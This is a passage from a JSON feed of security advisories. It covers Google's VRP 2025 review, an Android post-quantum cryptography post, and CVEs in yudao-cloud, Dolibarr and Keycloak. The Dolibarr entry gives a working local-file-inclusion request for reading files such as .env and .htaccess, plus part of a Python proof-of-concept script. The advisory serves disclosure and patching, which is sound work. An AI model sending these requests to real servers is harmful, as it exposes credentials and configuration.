reward amounts. \n\n Similarly, the Chrome VRP now also includes reward categories for problems found in AI features . \n\n We launched a patch rewards program for OSV-SCALIBR, Google's open source tool for finding vulnerabilities in software dependencies. Contributors are rewarded for providing novel OSV","detail":"Posted by Dirk G ö hmann, Tony Mendez, and the Vulnerability Rewards Program Team \n\n 2025 marked a special year in the history of vulnerability rewards and bug bounty programs at Google: our 15th anniversary 🎉🎉🎉! Originally started in 2010 , our vulnerability reward program (VRP) has seen constant additions and expansions over the past decade and a half, clearly indicating the value the programs under this umbrella contribute to the safety and security of Google and its users, but also highlighting their acceptance by the external research community, without which such programs cannot function. \n\n Coming back to 2025 specifically, our VRP once again confirmed the ongoing value of engaging with the external security research community to make Google and its products safer. This was more evident than ever as we awarded over $17 million (an all-time high and more than 40% increase compared to 2024!) to over 700 researchers based in countries around the globe – across all of our programs . \n\n Vulnerability Reward Program 2025 in Numbers \n\n Want to learn more about who’s reporting to the VRP? Check out our Leaderboard on the Google Bug Hunters site . \n\n VRP Highlights in 2025 \n\n In 2025 we made a series of changes and improvements to our VRP and related initiatives, and continued to invest in the security research community through a series of focused events: \n\n The new, dedicated AI VRP was launched , underscoring the importance of this space to Google and its relevance for external researchers. Previously organized as a part of the Abuse VRP, moving into a dedicated VRP has gone hand in hand with improvements to the rules, offering researchers more clarity on scope and reward amounts. \n\n Similarly, the Chrome VRP now also includes reward categories for problems found in AI features . \n\n We launched a patch rewards program for OSV-SCALIBR, Google's open source tool for finding vulnerabilities in software dependencies. Contributors are rewarded for providing novel OSV-SCALIBR plugins for inventory, vulnerability, or secret detection that expand the tool’s scanning capabilities. Besides strengthening the tool’s capabilities for all users, user submissions already helped us uncover and remediate a number of leaked secrets internally! \n\n As part of Google's Cybersecurity Awareness Month campaign in October, we hosted our very own security conference in Mexico City, ESCAL8 . The conference included init.g(mexico), our cybersecurity workshop for students, HACKCELER8, Google’s CTF finals, and a Safer with Google seminar, sharing technical thought leadership with Mexican government officials. \n\n bugSWAT, our special invite-only live hacking event, saw several editions in 2025 and delivered some outstanding findings across different areas: \n\n We hosted our first dedicated AI bugSWAT (Tokyo) in April which yielded a whopping 70+ reports filed and over $400,000 in rewards issued. \n\n We continued the momentum in early summer with Cloud bugSWAT (Sunnyvale) in June resulting in 130 reports, with $1,600,000 in rewards paid out. \n\n Next in line was bugSWAT Las Vegas in August, leading to 77 reports and rewards of $380,000. \n\n And finally, as part of ESCAL8 in Mexico City, bugSWAT Mexico focused on many different targets and spaces including AI, Android, and Cloud, and resulted in the filing of 107 reports, totalling $566,000 in rewards to date. \n\n Looking for more details? See the extended version of this post on the Security Engineering blog for reports from individual VRPs such as Android, Abuse, AI, Cloud, Chrome, and OSS, including specifics concerning high-impact bug reports and focus areas of security research. \n\n What’s coming in 2026 \n\n In 2026, we remain fully committed to fostering collaboration, innovation, and transparency with the security community by hosting several bugSWAT events throughout the year, and following up with the next edition of our cybersecurity conference, ESCAL8. More broadly, our goal remains to stay ahead of emerging threats, adapt to evolving technologies, and continue to strengthen the security posture of Google’s products and services – all of which is only possible in collaboration with the external community of researchers we are so lucky to collaborate with! \n\n In this spirit, we’d like to extend a huge thank you to our bug hunter community for helping us make Google products and platforms more safe and secure for our users around the world – and invite researchers not yet engaged with the Vulnerability Reward Program to join us in our mission to keep Google safe (check out our programs for inspiration 🙂)! \n\n Thank you to Tony Mendez, Dirk Göhmann, Alissa Scherchen, Krzysztof Kotowicz, Martin Straka, Michael Cote, Sam Erb, Jason Parsons, Alex Gough, and Mihai Maruseac. \n\n Tip: Want to be informed of new developments and events around our Vulnerability Reward Program? Follow the Google VRP channel on X to stay in the loop and be sure to check out the Security Engineering blog, which covers topics ranging from VRP updates to security practices and vulnerability descriptions!\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2026-03-31T16:55:00.000Z","updatedAt":"2026-03-31T16:55:35.240Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: VRP 2025 Year in Review","url":"https://security.googleblog.com/2026/03/vrp-2025-year-in-review.html","type":"primary","publishedAt":"2026-03-31T16:55:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-5147","cveId":"CVE-2026-5147","aliases":[],"kind":"vulnerability","title":"A security flaw has been discovered in YunaiV yudao-cloud up to 2026.01. This affects an unknown part of the file /admin-api/system/tenant/get-by-website.","summary":"A security flaw has been discovered in YunaiV yudao-cloud up to 2026.01. This affects an unknown part of the file /admin-api/system/tenant/get-by-website. The manipulation of the argument Website results in sql injection. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. The patch is identified as bccf7c79e5f93f027a021172a18e8876cc6c1062 (master-jdk17). It is advisable to implement a patch to correct this issue.","detail":"A security flaw has been discovered in YunaiV yudao-cloud up to 2026.01. This affects an unknown part of the file /admin-api/system/tenant/get-by-website. The manipulation of the argument Website results in sql injection. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. The patch is identified as bccf7c79e5f93f027a021172a18e8876cc6c1062 (master-jdk17). It is advisable to implement a patch to correct this issue.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-03-30T19:16:27.690Z","updatedAt":"2026-10-26T17:17:28.453Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":5.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-5147","asOf":"2026-10-26T17:17:28.453Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-5147","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-5147","type":"primary","publishedAt":"2026-03-30T19:16:27.690Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:21:04.749Z&lastModEndDate=2026-10-26T17:50:56.936Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:50:56.936Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T15:50:57.770Z&lastModEndDate=2026-10-26T17:20:56.094Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T17:20:56.094Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:20:57.477Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34036","cveId":"CVE-2026-34036","aliases":["GHSA-2mfj-r695-5h9r"],"kind":"vulnerability","title":"Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php","summary":"Dolibarr Core (Tested on version 22.0.4)\n\nA Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint `/core/ajax/selectobject.php`. By manipulating the `objectdesc` parameter and exploiting a fail-open logic flaw in the core access control function `restrictedArea()`, an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as `.env`, `.htaccess`, configuration backups, or logs…).","detail":"# Authenticated Local File Inclusion (LFI) via selectobject.php leading to sensitive data disclosure\n\n## Target\n\nDolibarr Core (Tested on version 22.0.4)\n\n## Summary\n\nA Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint `/core/ajax/selectobject.php`. By manipulating the `objectdesc` parameter and exploiting a fail-open logic flaw in the core access control function `restrictedArea()`, an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as `.env`, `.htaccess`, configuration backups, or logs…).\n\n## Vulnerability Details\n\nThe vulnerability is caused by a critical design flaw in `/core/ajax/selectobject.php` where dynamic file inclusion occurs **before** any access control checks are performed, combined with a fail-open logic in the core ACL function.\n\n- **Arbitrary File Inclusion BEFORE Authorization:** The endpoint parses the `objectdesc` parameter into a `$classpath`. If `fetchObjectByElement` fails (e.g., by providing a fake class like `A:conf/.htaccess:0`), the application falls back to `dol_include_once($classpath)` at **line 71**. At this point, the arbitrary file is included and its content is dumped into the HTTP response buffer. This happens *before* the application checks any user permissions.\n- **Access Control Bypass (Fail-Open):** At **line 102**, the application finally attempts to verify permissions by calling `restrictedArea()`. Because the object creation failed, the `$features` parameter sent to `restrictedArea()` is empty (`''`). Inside `security.lib.php`, if the `$features` parameter is empty, the access check block is completely skipped, leaving the `$readok` variable at `1`. Because of this secondary flaw, the script finishes cleanly with an HTTP 200 OK instead of throwing a 403 error.\n\nThis allows any authenticated user to bypass ACLs and include files. While PHP files cause a fatal error before their code is displayed, the contents of any text-based file (like `.htaccess`, `.env`, `.json`, `.sql`) are dumped into the HTTP response before the application crashes.\n\n## Steps to Reproduce\n\n- Log in to the Dolibarr instance with any user account (no specific permissions required).\n- Intercept or manually forge a GET request to the following endpoint:\n\n```\nGET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:conf/.htaccess:0\n```\n\n- Observe the HTTP response. The contents of the `conf/.htaccess` file will be reflected in the response body right before the PHP Fatal Error message.\n- *(Optional)* Run the attached Python PoC to automate the extraction:\n\n```\npython3 poc.py --url http://target.com --username ' ' --password ' ' --file conf/.htaccess\n```\n\n## Impact\n\nAn attacker with minimal access to the CRM can exfiltrate sensitive files from the server. This can lead to the disclosure of environment variables (`.env`), infrastructure configurations (`.htaccess`), installed packages versions, or even forgotten logs and database dumps, paving the way for further attacks.\n\n## Suggested Mitigation\n\n- **Input Validation & Whitelisting:** The `$classpath` must be strictly validated or whitelisted before being passed to `dol_include_once()`.\n- **Execution Flow Correction:** The file inclusion logic must never be executed before the user's authorization has been fully verified.\n- **Enforce Fail-Secure ACLs:** Modify `restrictedArea()` in `core/lib/security.lib.php` so that if the `$features` parameter is empty, access is explicitly denied (`$readok = 0`) instead of allowed by default.\n\n## Disclosure Policy & Assistance\n\nThe reporter is committed to coordinated vulnerability disclosure. This vulnerability, along with the provided PoC, will be kept strictly confidential until a patch is released and explicit authorization for public disclosure is given.\n\nShould any further technical details, logs, or testing of the remediation once a patch has been developed be needed, the reporter is available to assist.\n\nThank you for the time and commitment to securing Dolibarr.\n\nBest Regards,\nVincent KHAYAT (cnf409)\n\n## Video PoC\n\nhttps://github.com/user-attachments/assets/4af80050-4329-4c88-8a54-e2b522deb844\n\n## PoC Script\n\n```python\n#!/usr/bin/env python3\n\"\"\"Dolibarr selectobject.php authenticated LFI PoC\"\"\"\n\nimport argparse\nimport html\nimport re\nimport urllib.error\nimport urllib.parse\nimport urllib.request\nfrom http.cookiejar import CookieJar\n\nLOGIN_MARKERS = (\"Login @\", \"Identifiant @\")\nLOGOUT_MARKERS = (\"/user/logout.php\", \"Logout\", \"Mon tableau de bord\")\n\ndef request(\n opener, base_url, method, path, params=None, data=None, timeout=15\n):\n url = f\"{base_url.rstrip('/')}{path}\"\n if params:\n url = f\"{url}?{urllib.parse.urlencode(params)}\"\n payload = urllib.parse.urlencode(data).encode(\"utf-8\") if data else None\n req = urllib.request.Request(url, method=method.upper(), data=payload)\n req.add_header(\"User-Agent\", \"dolibarr-lfi-poc/1.0-securitytest-for-dolibarr\")\n req.add_header(\"Accept\", \"text/html,application/xhtml+xml\")\n try:\n with opener.open(req, timeout=timeout) as resp:\n return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n except urllib.error.HTTPError as err:\n return err.code, err.read().decode(\"utf-8\", errors=\"replace\")\n\ndef extract_login_token(page):\n for pattern in (\n r'name=[\"\\']token[\"\\']\\s+value=[\"\\']([^\"\\']*)[\"\\']',\n r'name=[\"\\']anti-csrf-newtoken[\"\\']\\s+content=[\"\\']([^\"\\']*)[\"\\']',\n ):\n match = re.search(pattern, page, flags=re.IGNORECASE)\n if match:\n return match.group(1)\n return \"\"\n\ndef looks_authenticated(body):\n return any(marker in body for marker in LOGOUT_MARKERS)\n\ndef clean_included_output(body):\n for marker in (\n \"\n\n\\n Warning\",\n \"\n\n\\r\\n Warning\",\n \"\n\n\\n Fatal error\",\n \"\n\n\\r\\n Fatal error\",\n ):\n pos = body.find(marker)\n if pos != -1:\n return body[:pos].rstrip()\n return body.rstrip()\n\ndef login(opener, base_url, username, password):\n code, login_page = request(opener, base_url, \"GET\", \"/\")\n if code >= 400:\n return False, f\"HTTP {code} on login page\"\n\nAffected package ranges reported by GitHub:\ndolibarr/dolibarr: < 23.0.0","action":"GitHub lists first patched versions: dolibarr/dolibarr: 23.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-03-27T18:04:19.000Z","updatedAt":"2026-10-26T14:26:52.000Z","regions":["Global"],"vendor":null,"product":"dolibarr/dolibarr","stacks":["PHP packages (Composer)","dolibarr/dolibarr","composer"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-2mfj-r695-5h9r","asOf":"2026-10-26T14:26:52.000Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-2mfj-r695-5h9r","url":"https://github.com/advisories/GHSA-2mfj-r695-5h9r","type":"primary","publishedAt":"2026-03-27T18:04:19.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-2mfj-r695-5h9r, its actual identifiers, source dates, and structured metrics."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:40:55.462Z","reviewedAt":null},"reviewed":false},{"id":"google-security-post-quantum-cryptography-in-android-75541d52b8cb","cveId":null,"aliases":[],"kind":"advisory","title":"Security for the Quantum Era: Implementing Post-Quantum Cryptography in Android","summary":"Posted by Eric Lynch, Product Manager, Android and Dom Elliott, Group Product Manager, Google Play \n\nModern digital security is at a turning point. We are on the threshold of using quantum computers to solve \"impossible\" problems in drug discovery, materials science, and energy—tasks that even the most powerful classical supercomputers cannot handle. However, the same unique ability to consider different options simultaneously also allows these machines to bypass our current digital locks. This puts the public-key cryptography we’ve relied on for decades at risk, potentially compromising everything from bank transfers to trade secrets. To secure our future, it is vital to adopt the new Post-Quantum Cryptography (PQC) standards National Institute of Standards and Technology (NIST) is urging before large-scale, fault-tolerant quantum computers become a reality.\n\nTo stay ahead of the curve, the technology industry must undertake a proactive, multi-year migration to Post-Quantum Cryptography (PQC). We have been preparing for a post-quantum world since 2016 , conducting pioneering experiments with post-quantum cryptography, rolling out post-quantum capabilities in our products, and sharing our expertise through threat models and technical papers. For Android, the objective extends beyond patching individual applications or transport protocols. The imperative is to ensure that the entire platform architecture is resilient for the decades to come.\n\nWe are beginning tests of PQC enhancements starting in the next Android 17 beta, followed by general availability in the Android 17 production release. This deployment introduces a comprehensive architectural upgrade that is being rolled out across the operating system. By integrating the recently finalized NIST PQC standards deep into the platform, we’re establishing a new, quantum-resistant chain of trust. This chain of trust secures the platform continuously—from the moment the OS powers on, to the execution of applications d","detail":"Posted by Eric Lynch, Product Manager, Android and Dom Elliott, Group Product Manager, Google Play \n\nModern digital security is at a turning point. We are on the threshold of using quantum computers to solve \"impossible\" problems in drug discovery, materials science, and energy—tasks that even the most powerful classical supercomputers cannot handle. However, the same unique ability to consider different options simultaneously also allows these machines to bypass our current digital locks. This puts the public-key cryptography we’ve relied on for decades at risk, potentially compromising everything from bank transfers to trade secrets. To secure our future, it is vital to adopt the new Post-Quantum Cryptography (PQC) standards National Institute of Standards and Technology (NIST) is urging before large-scale, fault-tolerant quantum computers become a reality.\n\nTo stay ahead of the curve, the technology industry must undertake a proactive, multi-year migration to Post-Quantum Cryptography (PQC). We have been preparing for a post-quantum world since 2016 , conducting pioneering experiments with post-quantum cryptography, rolling out post-quantum capabilities in our products, and sharing our expertise through threat models and technical papers. For Android, the objective extends beyond patching individual applications or transport protocols. The imperative is to ensure that the entire platform architecture is resilient for the decades to come.\n\nWe are beginning tests of PQC enhancements starting in the next Android 17 beta, followed by general availability in the Android 17 production release. This deployment introduces a comprehensive architectural upgrade that is being rolled out across the operating system. By integrating the recently finalized NIST PQC standards deep into the platform, we’re establishing a new, quantum-resistant chain of trust. This chain of trust secures the platform continuously—from the moment the OS powers on, to the execution of applications distributed globally. Android is swapping today’s digital locks for advanced encryption to help enhance the security of every app you download—no matter how powerful future supercomputers get.\n\n Securing the foundation: Verified boot and hardware trust\n\nSecurity on any computing device begins when the hardware starts; if the underlying operating system is compromised, all subsequent software protections fail. As quantum computing advances, adversaries could potentially forge digital signatures to bypass these foundational integrity checks. To secure the platform against this looming threat, Android 17 introduces two major post-quantum cryptographic (PQC) upgrades:\n\n Upgrading Android Verified Boot (AVB): The AVB library is integrating the Module-Lattice-Based Digital Signature Algorithm (ML-DSA). This provides quantum-resistant digital signatures, ensuring the software loaded during the boot sequence remains highly resistant to unauthorized modification.\n\n Migrating Remote Attestation: Android 17 begins the transition of Remote Attestation to a fully PQC-compliant architecture under the current standards. By updating KeyMint's certificate chains to support quantum-resistant algorithms, devices can securely prove their state to relying parties, maintaining trust in a post-quantum environment.\n\n Empowering developers: Android Keystore updates\n\nProtecting the underlying operating system is only the first layer of defense; developers must be equipped with the cryptographic primitives necessary to leverage PQC keys and establish robust identity verification.\n\nImplementing lattice-based cryptography, which requires significantly larger key sizes and memory footprints than classical elliptic curve cryptography, within the severely resource-constrained Trusted Execution Environment (TEE), represents a major engineering achievement. This capability is designed to support the hardware roots of trust and can now generate and verify post-quantum signatures.\n\nBuilding on this hardware foundation, Android 17 updates Android Keystore to natively support ML-DSA. This allows applications to leverage quantum-safe signatures entirely within the device’s secure hardware, isolating sensitive key material from the main operating system. The SDK exposes both ML-DSA-65, and ML-DSA-87, enabling developers to seamlessly integrate these using the standard KeyPairGenerator API. This establishes a new era of identity and authentication for the app ecosystem without requiring developers to engineer proprietary cryptographic implementations.\n\n Ecosystem scale: Bringing hybrid signing to Google Play apps and games \n\nAndroid is committed to ensuring the platform is PQC resistant and extending the chain of PQC resistance to application signatures. The mechanisms used to verify the authenticity of applications are being upgraded to ensure that app installations and subsequent updates are strictly tamper-proof against quantum-enabled signature forgery. The platform will verify PQC signatures over APKs to enable this chain of trust.\n\nTo bring these critical protections to the wider developer community with minimal friction, the transition will be supported through Play App Signing. This approach provides an immediate bridge to quantum safety for the majority of active installs. Google Play will let developers automatically generate 'hybrid' signature blocks that combine classical and PQC keys.\n\nUpdating keys across billions of active devices is a complex operational endeavor. Play App Signing leverages Google Cloud KMS , which helps ensure industry-leading compliance standards, to secure signing keys. By managing signing keys securely in the cloud, Google Play enables developers to seamlessly upgrade their app security to PQC standards without the burden of complex, manual key management.\n\nDuring the Android 17 release cycle, Google Play will handle the generation of quantum-safe ML-DSA signing keys for new apps and existing apps that opt-in, independent of the applications target API . Later, developers will be able to choose their own classical and ML-DSA signing keys and delegate them to Google Play for their hybrid key upgrade. To promote security best practices, Google Play will also start prompting developers to upgrade their signing keys at least every two years.\n\n The cryptographic roadmap: From authenticity to privacy\n\n Google’s post-quantum transition began in 2016 , and Android 17 marks the first phase of Android’s post-quantum transition:\n\n Securing the foundation : We are upholding the integrity of our attestation and Chain of Trust by incorporating ML-DSA into Android Verified Boot.\n\n Empower Developers : The inclusion of ML-DSA support within Android Keystore and Play App Signing allows developers to safeguard their users and application. \n\n Ecosystem Scale : By using hybrid signatures for APKs, developers can create a protected transition that preserves current trust while adding post-quantum defenses to block unauthorized updates.\n\nOur roadmap further integrates post-quantum key encapsulation into KeyMint, Key Attestation and Remote Key Provisioning. This evolution is intended to bolster the security of the entire identity lifecycle—from hardware-level DICE measurements to our remote attestation servers—ensuring the Android ecosystem remains resilient and private against the quantum threats of tomorrow.\n\nThis is an excerpt of official research, not a reproduced result or evidence of exposure to a scored vulnerability.","action":"Read the exact official research article before applying its defensive techniques or drawing conclusions.","publishedAt":"2026-03-25T13:00:00.000Z","updatedAt":"2026-03-30T15:11:01.708Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Android"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"Google Security Research: Security for the Quantum Era: Implementing Post-Quantum Cryptography in Android","url":"https://security.googleblog.com/2026/03/post-quantum-cryptography-in-android.html","type":"primary","publishedAt":"2026-03-25T13:00:00.000Z","checkedAt":"2026-10-26T18:35:55.322Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"Google Security Research syndication feed","url":"https://security.googleblog.com/feeds/posts/default?alt=rss&redirect=false&max-results=50","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:35:55.322Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:35:55.322Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-4633","cveId":"CVE-2026-4633","aliases":["GHSA-rhgq-f8x5-j2jc"],"kind":"vulnerability","title":"Keycloak's identity-first login flow exposes user information","summary":"A flaw was found in Keycloak. A remote attacker can exploit differential error messages during the identity-first login flow when Organizations are enabled. This vulnerability allows an attacker to determine the existence of users, leading to information disclosure through user enumeration.","detail":"A flaw was found in Keycloak. A remote attacker can exploit differential error messages during the identity-first login flow when Organizations are enabled. This vulnerability allows an attacker to determine the existence of users, leading to information disclosure through user enumeration.\n\nAffected package ranges reported by GitHub:\norg.keycloak:keycloak-services: >= 26.5.0, < 26.6.1\norg.keycloak:keycloak-services: < 26.4.12","action":"GitHub lists first patched versions: org.keycloak:keycloak-services: 26.6.1; org.keycloak:keycloak-services: 26.4.12. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-03-23T12:30:30.000Z","updatedAt":"2026-10-23T00:32:50.000Z","regions":["Global"],"vendor":null,"product":"org.keycloak:keycloak-services, org.keycloak:keycloak-services","stacks":["Java packages (Maven)","org.keycloak:keycloak-services","maven"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":3.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N","sourceUrl":"https://github.com/advisories/GHSA-rhgq-f8x5-j2jc","asOf":"2026-10-23T00:32:50.000Z"},"epss":{"probability":0.00422,"percentile":0.36249,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-4633&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-rhgq-f8x5-j2jc","url":"https://github.com/advisories/GHSA-rhgq-f8x5-j2jc","type":"primary","publishedAt":"2026-03-23T12:30:30.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-rhgq-f8x5-j2jc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-rhgq-f8x5-j2jc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-rhgq-f8x5-j2jc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-rhgq-f8x5-j2jc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-rhgq-f8x5-j2jc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-rhgq-f8x5-j2jc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-rhgq-f8x5-j2jc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-rhgq-f8x5-j2jc, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-rhgq-f8x5-j2jc, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-4633&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-4633, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-4628","cveId":"CVE-2026-4628","aliases":["GHSA-4pgc-gfrr-wcmg"],"kind":"vulnerability","title":"Keycloak has Improper Access Control that allows attackers with valid credentials to bypass the allowRemoteResourceManagement=false","summary":"A flaw was found in Keycloak. An improper Access Control vulnerability in Keycloak’s User-Managed Access (UMA) resource_set endpoint allows attackers with valid credentials to bypass the allowRemoteResourceManagement=false restriction. This occurs due to incomplete enforcement of access control checks on PUT operations to the resource_set endpoint. This issue enables unauthorized modification of protected resources, impacting data integrity.","detail":"A flaw was found in Keycloak. An improper Access Control vulnerability in Keycloak’s User-Managed Access (UMA) resource_set endpoint allows attackers with valid credentials to bypass the allowRemoteResourceManagement=false 